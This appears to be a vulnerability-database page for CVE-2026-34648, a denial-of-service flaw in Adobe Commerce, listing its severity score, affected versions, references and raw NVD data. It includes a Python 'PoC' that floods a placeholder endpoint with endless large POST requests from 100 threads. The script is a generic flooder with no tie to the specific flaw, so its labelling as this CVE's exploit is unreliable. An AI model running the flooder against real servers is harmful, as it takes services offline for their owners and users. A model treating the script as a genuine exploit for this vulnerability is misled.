CVE-2026-34648

Description

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Adobe Commerce 2.4.9-beta1 及更早版本

Adobe Commerce 2.4.8-p4 及更早版本

Adobe Commerce 2.4.7-p9 及更早版本

Adobe Commerce 2.4.6-p14 及更早版本

Adobe Commerce 2.4.5-p16 及更早版本

Adobe Commerce 2.4.4-p17 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import threading

# PoC for CVE-2026-34648: Adobe Commerce Uncontrolled Resource Consumption
# This script demonstrates how an attacker might send concurrent requests to exhaust server resources.

target_url = "http://target-adobe-commerce.com/vulnerable_endpoint"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Content-Type": "application/json"
}
# Payload designed to trigger resource exhaustion
payload = {
    "large_data": "A" * 100000, 
    "nested_structure": {"level1": {"level2": {"level3": "data"}}}
}

def send_attack():
    try:
        while True:
            # Sending POST request to consume resources
            response = requests.post(target_url, json=payload, headers=headers, timeout=10)
            print(f"Request sent, Response code: {response.status_code}")
    except Exception as e:
        print(f"Connection error: {e}")

# Launch multiple threads to simulate DoS condition
threads = []
for i in range(100):
    t = threading.Thread(target=send_attack)
    t.daemon = True
    t.start()
    threads.append(t)

# Keep main thread alive
for t in threads:
    t.join()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34648
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34648
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34648/
[4] VulDB https://vuldb.com/cve/CVE-2026-34648
[5] https://helpx.adobe.com/security/products/magento/apsb26-49.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34648", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:35.797", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}